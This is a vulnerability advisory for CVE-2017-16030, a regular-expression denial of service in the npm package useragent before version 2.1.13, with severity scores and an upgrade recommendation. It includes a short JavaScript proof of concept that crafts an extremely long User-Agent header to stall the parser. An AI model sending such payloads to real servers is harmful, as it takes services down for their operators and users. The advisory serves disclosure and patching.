CVE-2017-16030 – useragent

Package

Manager: npm
Name: useragent
Vulnerable Version: >=0 <2.1.13

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:U/RC:R

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00328 pctl0.55059

Details

ReDoS via long UserAgent header in useragent Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed. ## Proof of Concept ```js var useragent = require('useragent'); var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP'; var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n'; console.log(useragent.parse(request)); ``` ## Recommendation Update to version 2.1.13 or later.

Metadata

Created: 2018-07-24T19:59:13Z
Modified: 2023-09-06T20:07:59Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-pjmx-9xr3-82qr/GHSA-pjmx-9xr3-82qr.json
CWE IDs: ["CWE-400"]
Alternative ID: GHSA-pjmx-9xr3-82qr
Finding: F002
Auto approve: 1